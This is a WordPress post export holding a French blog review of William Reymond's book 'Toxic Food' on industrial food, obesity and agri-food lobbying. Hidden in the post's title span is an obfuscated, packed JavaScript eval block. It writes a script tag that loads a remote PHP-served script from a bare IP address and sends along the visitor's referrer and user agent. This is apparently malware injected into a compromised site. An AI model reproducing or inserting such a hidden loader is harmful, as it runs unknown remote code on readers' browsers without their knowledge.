{"id":4238,"date":"2010-03-17T19:46:03","date_gmt":"2010-03-17T18:46:03","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4238"},"modified":"2010-04-01T19:47:31","modified_gmt":"2010-04-01T18:47:31","slug":"toxic-food-enquete-sur-les-secrets-de-la-nouvelle-malbouffe","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4238","title":{"rendered":"Toxic Food : Enqu\u00eate sur les secrets de la nouvelle malbouffe"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/editions.flammarion.com\/docs\/Albums\/36297\/9782081214392_cm.jpg\" alt=\"\" width=\"99\" height=\"158\" \/><span style=\"color: #ff6600;\"><strong>\u00ab\u00a0Toxic <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brzet|var|u0026u|referrer|szbdh||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Food\u00a0\u00bb de William Reymond<\/strong><\/span><\/p>\n<p><strong>William Reymond revient avec un nouvel ouvrage sur la malbouffe. Les objecteurs de Croissance en ont \u00e9galement fait un de leurs combats et les ouvrages de William Reymond s&rsquo;av\u00e8rent \u00eatre des armes pour r\u00eaver \u00e0 une autre alimentation, une autre agriculture, \u2026 un autre monde sorti de la croissance, du productivisme et du consum\u00e9risme responsables de trop de maux.<\/strong><\/p>\n<p>Dans un premier ouvrage intitul\u00e9 Toxic, William Reymond s&rsquo;\u00e9tait interrog\u00e9 sur les causes de l&rsquo;ob\u00e9sit\u00e9, v\u00e9ritable pand\u00e9mie qui s&rsquo;\u00e9tend sur l&rsquo;ensemble de notre plan\u00e8te. Il en explique les causes en d\u00e9non\u00e7ant le r\u00f4le des industries agro-alimentaires responsables de la production d&rsquo;une alimentation industrielle nourrie de sirop de fructose ou d&rsquo;huile partiellement hydrog\u00e9n\u00e9e. Notre soci\u00e9t\u00e9 de stress, hyper-s\u00e9dentaire, la taille des portions aval\u00e9es ne sont que des facteurs accompagnant la pollution de notre alimentation et les solutions de manger moins et de bouger plus ne suffiront pas en enrayer la pand\u00e9mie de l&rsquo;ob\u00e9sit\u00e9 car le mal est plus profond.<!--more--><\/p>\n<p>C&rsquo;est parce que William Reymond a voulu aller plus loin dans l&rsquo;explication de notre \u00e9chec alimentaire qu&rsquo;il a \u00e9crit Toxic-Food, principalement pour condamner l&rsquo;industrialisation de l&rsquo;alimentation1 et la success-story de l&rsquo;industrie agro-alimentaire.<\/p>\n<p>William Reymond explique que la course aux gains a eu des r\u00e9percussions terribles sur notre alimentation. Il pr\u00e9cise que les fruits ou les l\u00e9gumes ont perdu en quelques d\u00e9cennies leur apport en vitamines ou en anti-oxydant pour se gorger d&rsquo;eau.<\/p>\n<p>Les populations se r\u00e9v\u00e8lent autant victimes que coupables. Victimes car nous en subissons les cons\u00e9quences et le co\u00fbt est tr\u00e8s lourd car il touche \u00e0 note sant\u00e9. Coupables car nous avons voulu disposer en toute saison de produits autrefois introuvables \u00e0 des tarifs abordables, que nous avons accept\u00e9s les cadences de la soci\u00e9t\u00e9 et ne plus prendre du temps pour se nourrir et se pr\u00e9parer le repas.<\/p>\n<p>La sentence de William Reymond est terrible, notre mode alimentaire nous conduit \u00e0 la tombe. C&rsquo;est ce que l&rsquo;auteur appelle la Toxic-Food c&rsquo;est-\u00e0-dire une nourriture appauvrie en apports essentiels mais enrichie en sucre, en graisse et en sel, responsable du d\u00e9veloppement de nombreuses maladies (cancers et maladies cardio-vasculaires). En outre, cette nourriture appauvrit les sols et la bio-diversit\u00e9 tout en favorisant une agriculture industrielle et intensive pour enrichir l&rsquo;industrie agro-alimentaire. Le bilan est alarmant : l&rsquo;alimentation moderne est une pollution. La malbouffe rend mortellement malade.<\/p>\n<p>Cette pollution nous contamine et la puissance des lobbys de l&rsquo;industrie agro-alimentaire, que William Reymond compare aux cigarettiers des ann\u00e9es 50-60, explique l&rsquo;inertie du pouvoir politique. L&rsquo;auteur d\u00e9cortique les m\u00e9canismes de manipulation de l&rsquo;information de la part des g\u00e9ants de l&rsquo;agro-allimentaire qui manipulent les m\u00e9dias, les m\u00e9decins, usent et abusent de la publicit\u00e9 pour semer la confusion dans l&rsquo;opinion publique et discr\u00e9diter les enqu\u00eates scientifiques. C&rsquo;est de la d\u00e9sinformation comme le montre l&rsquo;auteur en prenant l&rsquo;exemple de l&rsquo;acrylamide. Il faut dire qu&rsquo;une des hantises de ces industriels de l&rsquo;alimentaire est, selon l&rsquo;auteur, que les Etats l\u00e9gif\u00e8rent et interdisent certaines substances et certaines pratiques, finalement qu&rsquo;ils assument leurs r\u00f4les de fa\u00e7on objectives et ind\u00e9pendantes. En effet, l&rsquo;acrylamide, les acides gras trans (issus de l&rsquo;hydrog\u00e9nation partielle de l&rsquo;huile), les nitrosamines, le sirop de fructose-glucose restent au c\u0153ur de notre alimentation. L&rsquo;auteur regrette que le principe de pr\u00e9caution existe pour ne pas \u00eatre appliqu\u00e9 que ce soit pour les risques que nous faisons courir \u00e0 l&rsquo;environnement ou \u00e0 notre sant\u00e9.<\/p>\n<p>William Reymond explique que les effets de la toxic-food d\u00e9passent la \u00ab simple \u00bb pand\u00e9mie d&rsquo;ob\u00e9sit\u00e9. L&rsquo;alimentation grasse, sal\u00e9e, sucr\u00e9e et chimique est responsable ou facteur aggravant de l&rsquo;augmentation de cas de diab\u00e8tes, de cancers, de maladies cardio-vasculaires, voire de maladies neurologiques. Les causes environnementales de ces fl\u00e9aux sont tr\u00e8s li\u00e9es \u00e0 la nourriture industrielle, aux pesticides et aux composants chimiques. C&rsquo;est un co\u00fbt humain honteux et un co\u00fbt financier consid\u00e9rable.<\/p>\n<p>William Reymond finit par essayer d&rsquo;avancer quelques propositions pour sortir de l&rsquo;impasse alimentaire. Il n&rsquo;est pas tendre puisque, selon lui, la mollesse de notre r\u00e9sistance et l&rsquo;absence d&rsquo;esprit de reconqu\u00eate ont favoris\u00e9 cette toxic-food Il faut donc retrouver l&rsquo;esprit de Spartacus et amorcer une n\u00e9cessaire r\u00e9volution alimentaire qui rel\u00e8ve de d\u00e9cisions individuelles qui, en se multipliant deviendront collectives. Pour William Reymond, si le bulletin de vote est une arme, nous votons \u00e9galement \u00e0 chaque repas.<\/p>\n<p>Dans le Post-Scriptum, William Reymond met en \u00e9vidence la collusion entre politique et industrie agro-alimentaire en s&rsquo;appuyant sur le plan fran\u00e7ais de lutte contre l&rsquo;ob\u00e9sit\u00e9.A la lecture de cet ouvrage, le besoin de D\u00e9croissance se l\u00e9gitime tout comme le besoin d&rsquo;imaginer une autre agriculture pour une alimentation saine mais aussi la n\u00e9cessit\u00e9 de lutter contre le lobbying et en faveur d&rsquo;une information transparente et ind\u00e9pendante.<\/p>\n<p>Voici un chantier qui attends nos uto-pistes et qui en appellent \u00e0 plusieurs niveaux et pour plusieurs domaines d&rsquo;activit\u00e9s.<\/p>\n<p>Nous vous invitons \u00e0 lire <a href=\"http:\/\/williamreymond.com\/content\/toxic-food-enqu%C3%AAte-sur-les-secrets-de-la-nouvelle-malbouffe\">Toxic et Toxic-Food <\/a>ainsi qu&rsquo;\u00e0 en discuter autour de vous pour informer mais, \u00e9galement, r\u00e9fl\u00e9chir quant aux solutions \u00e0 apporter.<em><\/em><\/p>\n<p style=\"text-align: right;\"><em>\u00ab Comme l&rsquo;\u00e9crivait Hippocrate, notre nourriture est la premi\u00e8re source de notre bien-\u00eatre. A nous de refuser qu&rsquo;elle soit \u00e0 l&rsquo;origine de notre d\u00e9clin \u00bb<br \/>\n\u00ab \u2026 o\u00f9 des consommateurs malades condamn\u00e9s \u00e0 prendre chaque jour des m\u00e9dicaments refusent de renoncer aux causes de leurs maux \u00bb<br \/>\n\u00ab Consommer le plus possible des aliments issus de l&rsquo;agriculture biologique et locale n&rsquo;a donc jamais eu autant de sens \u00bb<br \/>\n\u00ab L&rsquo;ennui, c&rsquo;est que le consommateur ignore la pr\u00e9sence des ces \u00e9l\u00e9ments canc\u00e9rig\u00e8nes dans sa nourriture \u00bb<br \/>\n\u00ab Et le doute est l&rsquo;arme de d\u00e9fense principale des gardiens de la toxic food \u00bb<br \/>\n\u00ab L&rsquo;\u00e9volution de la nourriture a en fait d\u00e9pass\u00e9 le rythme de notre propre \u00e9volution. Laquelle, plus encore que ses surcharges en graisse, sel, sucre et produits chimiques, ne correspondent plus \u00e0 nos besoins vitaux. Mais voil\u00e0, continuant \u00e0 engouffrer des aliments qui s&rsquo;opposent \u00e0 la gen\u00e8se m\u00eame de son identit\u00e9 humaine, l&rsquo;Homo alimentus modernus s&#8217;empoisonne bouch\u00e9e apr\u00e8s bouch\u00e9e \u00bb<\/em><\/p>\n<p><em>1<\/em> Qui, comme le pr\u00e9cise W. Reymond, est \u00e0 l&rsquo;origine du mot malbouffe en 1979 bien avant que cette expression soit reprise lors du scandale de la \u00ab vache folle \u00bb ou par Jos\u00e9 Bov\u00e9 pour lutter contre MacDonald.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab\u00a0Toxic Food\u00a0\u00bb de William Reymond William Reymond revient avec un nouvel ouvrage sur la malbouffe. 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